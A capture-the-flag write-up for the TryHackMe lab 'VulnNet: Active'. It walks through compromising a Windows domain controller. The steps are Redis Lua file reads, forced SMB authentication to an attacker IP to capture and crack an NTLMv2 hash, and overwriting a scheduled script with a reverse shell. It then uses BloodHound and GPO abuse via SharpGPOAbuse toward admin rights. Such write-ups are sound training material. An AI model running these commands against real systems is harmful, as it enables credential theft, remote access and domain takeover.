VulnNet: Active - Write-up - TryHackMe

Information

Room#

  • Name: VulnNet: Active
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: VulnNet Entertainment just moved their entire infrastructure... Check this out...

VulnNet: Active

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap enum4linux-ng redis haiti john smbmap crackmapexec metasploit powersploit smbclient bloodhound

Network enumeration#

Port and service enumeration with nmap:

# Nmap 7.92 scan initiated Tue Dec 14 17:33:28 2021 as: nmap -sSVC -p- -v -oA nmap_full -Pn 10.10.255.87
Nmap scan report for 10.10.255.87
Host is up (0.061s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis         Redis key-value store 2.8.2402
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49722/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2021-12-14T16:44:46
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 14 17:45:23 2021 -- 1 IP address (1 host up) scanned in 715.74 seconds

SMB enumeration#

Domain, machine and SMB version information is available through unauthenticated SMB requests:

$ enum4linux-ng -A 10.10.255.87
...
 =========================================
|    SMB Dialect Check on 10.10.255.87    |
 =========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB1 only: false
Preferred dialect: SMB 3.0
SMB signing required: true
...
 ===================================================
|    Domain Information via RPC for 10.10.255.87    |
 ===================================================
[+] Domain: VULNNET
[+] SID: S-1-5-21-1405206085-1650434706-76331420
[+] Host is part of a domain (not a workgroup)

 ===========================================================
|    Domain Information via SMB session for 10.10.255.87    |
 ===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: VULNNET-BC3TCK1
NetBIOS domain name: VULNNET
DNS domain: vulnnet.local
FQDN: VULNNET-BC3TCK1SHNQ.vulnnet.local
...

Redis enumeration#

Let's connect to the Redis server and grab some basic information:

$ redis-cli -h 10.10.194.42
10.10.194.42:6379> INFO
# Server
redis_version:2.8.2402
...
redis_mode:standalone
os:Windows
arch_bits:64
...
# Replication
role:master
...

We can notice the Redis version is very old (2.8.2402, currently 6.2.6).

There is no keyspace so let's check the config.

10.10.194.42:6379> CONFIG GET *
...
103) "dir"
104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
...

So the current user name is enterprise-security.

Redis exploitation#

An old RCE technique is to execute LUA code, it's not possible on newer version but since this is a very old one here we must try it.

We are able to make some chunk of data leak through error messages. That way we can read the user flag since we found the username earlier.

10.10.194.42:6379> EVAL "dofile('C:/Windows/System32/drivers/etc/Hosts')" 0
(error) ERR Error running script (call to f_df72500a0c02a7d5e1d237a6ec4408ed87f17e68): @user_script:1: C:/Windows/System32/drivers/etc/Hosts:2: unexpected symbol near '#'
10.10.194.42:6379> EVAL "dofile('C:/Users/enterprise-security/Desktop/user.txt')" 0
(error) ERR Error running script (call to f_eebcad8707d6acaa5a1f5511b5d88676a90438d6): @user_script:1: C:/Users/enterprise-security/Desktop/user.txt:1: malformed number near 'EDITED'

Note: What's nice with redis is that path are normalized so you can write simple slash instead of windows backslashes that may need to be escaped.

SMB credentials capturing#

LUA dofile() allows us to request a file but since we are on Windows it allows us to request a share as well dofile('//host/share').

So if we launch a SMB server with Responder on one hand and force the server to request a share on the other hand, we may be able to capture a NTLM hash.

Redis CLI:

10.10.156.87:6379> EVAL "dofile('//10.9.19.77/noraj')" 0
(error) ERR Error running script (call to f_ca7d1737b7cbf25c9d042cce4a3adce566e3e8bd): @user_script:1: cannot open //10.9.19.77/noraj: Permission denied
(0.60s)

Responder logs:

[SMB] NTLMv2-SSP Client   : 10.10.156.87
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-security::VULNNET:e3ce6172d5c46f70:C9D337B801D753F7C7A99B86B03E799C:010100000000000000C14A988FF2D7013F2685222C47BE030000000002000800420053005300450001001E00570049004E002D0044003300370033004D0046004A005A0030004F00350004003400570049004E002D0044003300370033004D0046004A005A0030004F0035002E0042005300530045002E004C004F00430041004C000300140042005300530045002E004C004F00430041004C000500140042005300530045002E004C004F00430041004C000700080000C14A988FF2D7010600040002000000080030003000000000000000000000000030000098A6EBD82A72AAFE8801CE20C7E617EA16CC5F12E45BD3FD3F8F6B40F7840A730A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E0039002E00310039002E00370037000000000000000000

Hash cracking#

Let's find the correct handle for NTLMv2 on JtR and HC thanks to haiti.

$ haiti 'enterprise-security::VULNNET:e3ce6172d5c46f70:C9D337B801D753F7C7A99B86B03E799C:010100000000000000C14A988FF2D7013F2685222C47BE030000000002000800420053005300450001001E00570049004E002D0044003300370033004D0046004A005A0030004F00350004003400570049004E002D0044003300370033004D0046004A005A0030004F0035002E0042005300530045002E004C004F00430041004C000300140042005300530045002E004C004F00430041004C000500140042005300530045002E004C004F00430041004C000700080000C14A988FF2D7010600040002000000080030003000000000000000000000000030000098A6EBD82A72AAFE8801CE20C7E617EA16CC5F12E45BD3FD3F8F6B40F7840A730A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E0039002E00310039002E00370037000000000000000000'
NetNTLMv2 [HC: 5600] [JtR: netntlmv2]

Now let's crack it:

$ john hashes.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=netntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
edited  (enterprise-security)
1g 0:00:00:03 DONE (2021-12-16 15:25) 0.3021g/s 1212Kp/s 1212Kc/s 1212KC/s sandoval64..sand3465
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Authenticated SMB enumeration#

Now that we have a valid domain account we can perform some authenticated SMB enumeration.

List shares:

$ smbmap -u enterprise-security -p edited -H 10.10.156.87 --no-banner
[+] IP: 10.10.156.87:445        Name: 10.10.156.87              Status: Authenticated
[|] Work[!] Unable to remove test file at \\10.10.156.87\Enterprise-Share\SRQODJGBTA, please remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Enterprise-Share                                        NO ACCESS
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share

$ cme smb 10.10.156.87 --shares -u enterprise-security -p edited
SMB         10.10.156.87    445    VULNNET-BC3TCK1  [*] Windows 10.0 Build 17763 x64 (name:VULNNET-BC3TCK1) (domain:vulnnet.local) (signing:True) (SMBv1:False)
SMB         10.10.156.87    445    VULNNET-BC3TCK1  [+] vulnnet.local\enterprise-security:edited
SMB         10.10.156.87    445    VULNNET-BC3TCK1  [+] Enumerated shares
SMB         10.10.156.87    445    VULNNET-BC3TCK1  Share           Permissions     Remark
SMB         10.10.156.87    445    VULNNET-BC3TCK1  -----           -----------     ------
SMB         10.10.156.87    445    VULNNET-BC3TCK1  ADMIN$                          Remote Admin
SMB         10.10.156.87    445    VULNNET-BC3TCK1  C$                              Default share
SMB         10.10.156.87    445    VULNNET-BC3TCK1  Enterprise-Share READ
SMB         10.10.156.87    445    VULNNET-BC3TCK1  IPC$            READ            Remote IPC
SMB         10.10.156.87    445    VULNNET-BC3TCK1  NETLOGON        READ            Logon server share
SMB         10.10.156.87    445    VULNNET-BC3TCK1  SYSVOL          READ            Logon server share

It is always interesting to launch several tools, here smbmap says NO ACCESS for Enterprise-Share while cme says READ.

Enumerating the files doesn't work with smbmap since it doesn't detect Enterprise-Share as readable. cme doesn't have the feature to list files of a SMB share. So we're forced to use the old smbclient or less known tools.

For example nullinux allows to list the 1st depth of files of all shares, but is not very flexible as you can't specify a share nor choose the depth.

$ smbmap -u enterprise-security -p edited -H 10.10.156.87 --no-banner -s Enterprise-Share

$ nullinux -shares -u enterprise-security -p edited 10.10.156.87

    Starting nullinux v5.5.0dev | 12-16-2021 15:50



[*] Enumerating Shares for: 10.10.156.87
        Shares                     Comments
   -------------------------------------------
    \\10.10.156.87\ADMIN$          Remote Admin
    \\10.10.156.87\C$              Default share
    \\10.10.156.87\Enterprise-Share
    \\10.10.156.87\IPC$
    \\10.10.156.87\NETLOGON        Logon server share
    \\10.10.156.87\SYSVOL          Logon server share

   [*] Enumerating: \\10.10.156.87\Enterprise-Share
       .                                   D        0  Thu Dec 16 15:34:20 2021
       ..                                  D        0  Thu Dec 16 15:34:20 2021
       PurgeIrrelevantData_1826.ps1        A       69  Wed Feb 24 01:33:18 2021
       SRQODJGBTA                          A        0  Thu Dec 16 15:30:19 2021
       ZFBMNPOJDV                          A        0  Thu Dec 16 15:34:20 2021

   [*] Enumerating: \\10.10.156.87\NETLOGON
       .                                   D        0  Tue Feb 23 10:29:58 2021
       ..                                  D        0  Tue Feb 23 10:29:58 2021

   [*] Enumerating: \\10.10.156.87\SYSVOL
       .                                   D        0  Tue Feb 23 10:29:58 2021
       ..                                  D        0  Tue Feb 23 10:29:58 2021
       vulnnet.local                      Dr        0  Tue Feb 23 10:29:58 2021

[*] 0 unique user(s) identified

The Impacket version of smbclient is not able to enumerate shares or list their content (at least with an option) and the auth is not working anyway.

So let's get back to the old smbclient. It's a nightmare but at least if it works.

# List shares, just for testing
$ smbclient -I 10.10.76.216 -U 'enterprise-security' --password edited --client-protection sign -L 10.10.76.216

# List files
$ smbclient -I 10.10.76.216 -U 'enterprise-security' --password edited --client-protection sign '\\10.10.76.216\Enterprise-Share'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Feb 23 23:45:41 2021
  ..                                  D        0  Tue Feb 23 23:45:41 2021
  PurgeIrrelevantData_1826.ps1        A       69  Wed Feb 24 01:33:18 2021

smb: \> get PurgeIrrelevantData_1826.ps1
getting file \PurgeIrrelevantData_1826.ps1 of size 69 as PurgeIrrelevantData_1826.ps1 (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

PurgeIrrelevantData_1826.ps1

rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue

Shell access#

I guess we have to guess it's part of a scheduled task. Also it can't be exploited like that and it seems that even if the share is shown as read-only, we can in fact overwrite the file.

smb: \> put PurgeIrrelevantData_1826.ps1
putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (1.3 kb/s) (average 8.4 kb/s)

The stageless PS reverse shell from msf wasn't working.

$ msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=10.9.19.77 LPORT=9999 -f ps1 -o PurgeIrrelevantData_1826.ps1 --platform windows -a cmd
No encoder specified, outputting raw payload
Payload size: 1676 bytes
Final size of ps1 file: 8397 bytes
Saved as: PurgeIrrelevantData_1826.ps1

ConPtyShell wasn't working.

PowerShell #1, PowerShell #2 from https://www.revshells.com/ weren't working (contacting the attacker machine but closing the socket) but hopefully PowerShell #3 reverse shell worked.

PS: nishang - Invoke-PowerShellTcp works too and is way better.

$ ncat -nlvp 9999
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.76.216.
Ncat: Connection from 10.10.76.216:49826.
SHELL> whoami
vulnnet\enterprise-security
SHELL> whoami /all

USER INFORMATION
----------------

User Name                   SID
=========================== ============================================
vulnnet\enterprise-security S-1-5-21-1405206085-1650434706-76331420-1103


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

SHELL> systeminfo

Host Name:                 VULNNET-BC3TCK1
OS Name:                   Microsoft Windows Server 2019 Datacenter Evaluation
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
...
System Manufacturer:       Xen
System Model:              HVM domU
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2400 Mhz
BIOS Version:              Xen 4.11.amazon, 8/24/2006
...

We have SeImpersonatePrivilege so according to https://github.com/gtworek/Priv2Admin we should be able to perform some Potato attacks.

Note: our webshell starts at C:\Users\enterprise-security\Downloads where there is startup.bat.

Copy it on the share to download it easily:

$ PS C:\Users\enterprise-security\Downloads> cp startup.bat C:\Enterprise-Share
smb: \> get startup.bat
getting file \startup.bat of size 143 as startup.bat (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)

startup.bat

:home
TIMEOUT /T 30 /NOBREAK

powershell.exe -File C:\Enterprise-Share\PurgeIrrelevantData_1826.ps1

TIMEOUT /T 30

cls
Goto :home

So this confirms the scheduled task.

Elevation of Privileges (EoP)#

We are on Windows Server 2019 so WinRM is running by default:

SHELL> netstat -a -p TCP -o

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:88             VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:135            VULNNET-BC3TCK1SHNQ:0  LISTENING       964
  TCP    0.0.0.0:389            VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:445            VULNNET-BC3TCK1SHNQ:0  LISTENING       4
  TCP    0.0.0.0:464            VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:593            VULNNET-BC3TCK1SHNQ:0  LISTENING       964
  TCP    0.0.0.0:636            VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:3268           VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:3269           VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:3389           VULNNET-BC3TCK1SHNQ:0  LISTENING       880
  TCP    0.0.0.0:5985           VULNNET-BC3TCK1SHNQ:0  LISTENING       4
  TCP    0.0.0.0:6379           VULNNET-BC3TCK1SHNQ:0  LISTENING       2212
  TCP    0.0.0.0:9389           VULNNET-BC3TCK1SHNQ:0  LISTENING       2168
  TCP    0.0.0.0:47001          VULNNET-BC3TCK1SHNQ:0  LISTENING       4
  TCP    0.0.0.0:49664          VULNNET-BC3TCK1SHNQ:0  LISTENING       632
  TCP    0.0.0.0:49665          VULNNET-BC3TCK1SHNQ:0  LISTENING       1028
  TCP    0.0.0.0:49667          VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:49668          VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:49669          VULNNET-BC3TCK1SHNQ:0  LISTENING       756
  TCP    0.0.0.0:49670          VULNNET-BC3TCK1SHNQ:0  LISTENING       952
  TCP    0.0.0.0:49671          VULNNET-BC3TCK1SHNQ:0  LISTENING       952
  TCP    0.0.0.0:49673          VULNNET-BC3TCK1SHNQ:0  LISTENING       2116
  TCP    0.0.0.0:49689          VULNNET-BC3TCK1SHNQ:0  LISTENING       748
  TCP    0.0.0.0:49705          VULNNET-BC3TCK1SHNQ:0  LISTENING       2292
  TCP    0.0.0.0:49761          VULNNET-BC3TCK1SHNQ:0  LISTENING       2248
  TCP    10.10.76.216:53        VULNNET-BC3TCK1SHNQ:0  LISTENING       2292
  TCP    10.10.76.216:139       VULNNET-BC3TCK1SHNQ:0  LISTENING       4
  TCP    10.10.76.216:389       VULNNET-BC3TCK1SHNQ:49754  ESTABLISHED     756
  TCP    10.10.76.216:389       VULNNET-BC3TCK1SHNQ:49759  ESTABLISHED     756
  TCP    10.10.76.216:49754     VULNNET-BC3TCK1SHNQ:ldap  ESTABLISHED     2248
  TCP    10.10.76.216:49759     VULNNET-BC3TCK1SHNQ:ldap  ESTABLISHED     2248
  TCP    10.10.76.216:49826     ip-10-9-19-77:9999     ESTABLISHED     1668
  TCP    10.10.76.216:49989     8.238.8.126:http       SYN_SENT        1084
  TCP    10.10.76.216:49990     52.242.101.226:https   SYN_SENT        952
  TCP    127.0.0.1:53           VULNNET-BC3TCK1SHNQ:0  LISTENING       2292

We won't be able to exploit RogueWinRM.

So let's try PrintSpoofer.

smb: \> put PrintSpoofer64.exe
putting file PrintSpoofer64.exe as \PrintSpoofer64.exe (95.7 kb/s) (average 95.7 kb/s)

PrintSpoofer is not working here but my bad it works only if the user is in LOCAL/NETWORK SERVICE groupe, while we are just in NT AUTHORITY\SERVICE.

C:\Enterprise-Share\PrintSpoofer64.exe -i -c cmd
C:\Enterprise-Share\PrintSpoofer64.exe -c 'whoami'
C:\Enterprise-Share\PrintSpoofer64.exe -c 'fsutil file createnew proof.txt 0'

JuicyPotato wasn't working either. Let's abandon the SeImpersonatePrivilege way.

SharpSploit (PowerSploit alternative) is a C# library so it's a pain to compile on Linux and it's also complex to call as a CLI tool.

SharpView (.NET port of PowerView) is a C# project so it is also a pain to compile on Linux.

After having lost hours trying to compile C# projects on Linux, in the end even if PowerSploit is archived and no longer maintain, it's way easier to use PowerView.

$ cp /usr/share/windows/powersploit/Recon/PowerView.ps1 .

Upload PowerView:

smb: \> put PowerView.ps1
putting file PowerView.ps1 as \PowerView.ps1 (3134.3 kb/s) (average 3134.3 kb/s)

Load PowerView:

PS C:\Users\enterprise-security\Downloads> Import-Module C:\Enterprise-Share\powerview.ps1

Then we can use Get-DomainGPO to returns all GPOs:

PS C:\Users\enterprise-security\Downloads> Get-DomainGPO


usncreated               : 5672
systemflags              : -1946157056
displayname              : security-pol-vn
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EA
                           C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00
                           C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
whenchanged              : 2/23/2021 11:09:44 PM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 20506
dscorepropagationdata    : {2/23/2021 11:08:53 PM, 2/23/2021 9:32:08 AM, 1/1/1601 12:00:00 AM}
name                     : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags                    : 0
cn                       : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\vulnnet.local\sysvol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedname        : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whencreated              : 2/23/2021 9:30:33 AM
versionnumber            : 3
instancetype             : 4
objectguid               : 9d593bf2-13ac-4df7-97a9-faff2abd3e2c
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local

usncreated               : 5675
systemflags              : -1946157056
displayname              : Default Domain Controllers Policy
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EA
                           C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whenchanged              : 2/24/2021 12:14:52 AM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 24594
dscorepropagationdata    : {2/23/2021 9:32:08 AM, 1/1/1601 12:00:00 AM}
name                     : {6AC1786C-016F-11D2-945F-00C04fB984F9}
flags                    : 0
cn                       : {6AC1786C-016F-11D2-945F-00C04fB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\vulnnet.local\sysvol\vulnnet.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
distinguishedname        : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whencreated              : 2/23/2021 9:30:33 AM
versionnumber            : 4
instancetype             : 4
objectguid               : 71ee1493-0079-40b4-80f0-8ba42c4f61d5
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local

Hopefully there are very few GPOs but by reading the source code we can understand the options such as UserIdentity:

Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).

So looking only at GPOs applied to enterprise-security we know on which GPO focus: security-pol-vn.

PS C:\Users\enterprise-security\Downloads> Get-DomainGPO -UserIdentity enterprise-security


usncreated               : 5672
systemflags              : -1946157056
displayname              : security-pol-vn
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EA
                           C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00
                           C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
whenchanged              : 2/23/2021 11:09:44 PM
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 20506
dscorepropagationdata    : {2/23/2021 11:08:53 PM, 2/23/2021 9:32:08 AM, 1/1/1601 12:00:00 AM}
name                     : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags                    : 0
cn                       : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject   : True
gpcfilesyspath           : \\vulnnet.local\sysvol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedname        : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whencreated              : 2/23/2021 9:30:33 AM
versionnumber            : 3
instancetype             : 4
objectguid               : 9d593bf2-13ac-4df7-97a9-faff2abd3e2c
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local

We can look at this GPO:

$ smbclient -I 10.10.45.244 -U 'enterprise-security' --password edited --client-protection sign '\\10.10.45.244\sysvol'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Feb 23 10:29:58 2021
  ..                                  D        0  Tue Feb 23 10:29:58 2021
  vulnnet.local                      Dr        0  Tue Feb 23 10:29:58 2021

                9558271 blocks of size 4096. 5139591 blocks available
smb: \> cd vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\
smb: \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> dir
  .                                   D        0  Tue Feb 23 10:30:37 2021
  ..                                  D        0  Tue Feb 23 10:30:37 2021
  GPT.INI                             A       22  Tue Feb 23 10:36:27 2021
  MACHINE                             D        0  Tue Feb 23 22:58:25 2021
  USER                                D        0  Tue Feb 23 10:30:37 2021

                9558271 blocks of size 4096. 5139591 blocks available
smb: \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> lcd pol
smb: \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> mask ""
smb: \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> recurse ON
smb: \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> prompt OFF
smb: \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\> mget *
getting file \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 22 as GPT.INI (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2790 as MACHINE/Registry.pol (25.9 KiloBytes/sec) (average 12.9 KiloBytes/sec)
getting file \vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (9.5 KiloBytes/sec) (average 11.7 KiloBytes/sec)

There not much we can see directly.

So let's use BloodHound Powershell Collector: SharpHound.ps1.

$ cp /usr/share/bloodhound/Collectors/SharpHound.ps1 .

Let's upload the collector on the SMB share:

smb: \> put SharpHound.ps1
putting file SharpHound.ps1 as \SharpHound.ps1 (2123.7 kb/s) (average 2123.7 kb/s)

Load SharpHound:

PS C:\Users\enterprise-security\Downloads> Import-Module C:\Enterprise-Share\sharphound.ps1

As the domain is small we can collect all data:

PS C:\Users\enterprise-security\Downloads> Invoke-BloodHound -CollectionMethod All

Copy to BloodHound collected information zip to the share:

PS C:\Users\enterprise-security\Downloads> cp 20211217084021_BloodHound.zip C:\Enterprise-Share\

Download the archive from the share:

smb: \> get 20211217084021_BloodHound.zip
getting file \20211217084021_BloodHound.zip of size 8991 as 20211217084021_BloodHound.zip (77.7 KiloBytes/sec) (average 77.7 KiloBytes/sec)

Neo4J works only with Java 8.

$ sudo archlinux-java set java-8-openjdk/jre
$ sudo systemctl status neo4j

Follow neo4j doc if you need to init the system for the 1st time.

After login, click on Upload Data on BloodHound and select the archive.

Then use the default analysis query Find Shortest Paths to Domain Admins.

We can see our user enterprise-security write the GPO security-pol-vn but this GPO is applied to all the domain so it allows to take over the domain admin account or doing many other stuff.

Several techniques to Exploit Group Policy Objects GPO are detailed on PayloadsAllTheThings.

I wanted to use the Abuse GPO with PowerView method but it refers to a very old version of PowerSploit.

Most poeple will use SharpGPOAbuse but I can't compile any C# project because of https://bugs.archlinux.org/task/71007.

So instead I'll try PowerGPOAbuse.

$ wget https://raw.githubusercontent.com/rootSySdk/PowerGPOAbuse/master/PowerGPOAbuse.ps1

We just need to add enterprise-security in the local administrator group. Then force the GPO to be updated and check we were added to the group.

PS C:\Enterprise-Share> Add-GPOImmediateTask -TaskName 'noraj' -Command 'powershell.exe /c' -CommandArguments 'net localgroup Administrators enterprise-security /add' -Author vulnnet\administrator -GPOIdentity 'security-pol-vn' -Scope Computer

PS C:\Enterprise-Share> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\Enterprise-Share> net user enterprise-security

It seems the task is never executed, because the task may fail or Add-GPOImmediateTask may fail to register the task or when the GPO already has a ScheduledTasks.xml it requires the option -Force to update it but the script was failing when using it.

I found a pre-compiled version of SharpGPOAbuse and verified its integrity:

$ wget https://github.com/byronkg/SharpGPOAbuse/raw/main/SharpGPOAbuse-master/SharpGPOAbuse.exe
$ md5sum SharpGPOAbuse.exe
dc80f9a838281c2d917705987b0afd97  SharpGPOAbuse.exe

Let's add enterprise-security in the local administrator group.

PS C:\Enterprise-Share> .\SharpGPOAbuse.exe --AddComputerTask --TaskName 'noraj' --Author 'vulnnet\administrator' --Command "powershell.exe /c" --Arguments "net localgroup administrators enterprise-security /add" --GPOName "security-pol-vn"
[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] GUID of "security-pol-vn" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!

PS C:\Enterprise-Share> gpupdate /force

PS C:\Enterprise-Share> net user enterprise-security
User name                    enterprise-security
Full Name                    Enterprise Security
Comment                      TryHackMe
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

